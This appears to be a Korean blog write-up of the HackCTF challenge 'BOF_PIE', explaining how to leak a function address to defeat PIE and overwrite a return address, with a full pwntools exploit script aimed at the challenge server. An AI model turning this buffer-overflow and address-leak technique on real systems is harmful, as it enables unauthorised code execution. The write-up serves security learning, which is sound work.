상세 컨텐츠

본문 제목

[HackCTF] BOF_PIE

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 1. 17:59

본문

728x90
반응형

1. 보호기법 확인

 

문제이름대로 PIE가 걸려있다.

 

2. 코드 확인

 

 

코드를 보니까 flag를 출력해주는 함수는 j0n9hyun 함수인데, 주소는 welcome주소를 출력해준다.

주소가 고정적이지 않고 실행할 때마다 바뀌므로 실행 시 welcome 주소를 leak 한 후 구해놓은 welcomej0n9hyun 함수와의 offset으로 j0n9hyun 함수의 실행 시 주소를 구하고 RTL을 이용해서 return address를 이 주소로 덮어서 리턴 시 flag가 출력되도록 한다.

 

3. 실행

 

주소의 길이가 10이므로 recv(10)으로 leak 한다.

 

 

4. exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)
elf = ELF("./bof_pie")
offset = elf.symbols['welcome'] - elf.symbols['j0n9hyun']

p.recvuntil("is ")
welcome = int(p.recv(10), 16)
log.info("welcome : "+hex(welcome))

j0n9hyun = welcome - offset

p.sendline('A'*(0x12 + 0x4) + p32(j0n9hyun))

p.interactive()

 

5. exploit

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] poet  (0) 2020.01.08
[HackCTF] RTL_World  (0) 2020.01.02
[HackCTF] offset  (0) 2020.01.01
[HackCTF] Simple_Overflow_ver_2  (0) 2020.01.01
[HackCTF] x64 Simple_size_BOF  (0) 2020.01.01

관련글 더보기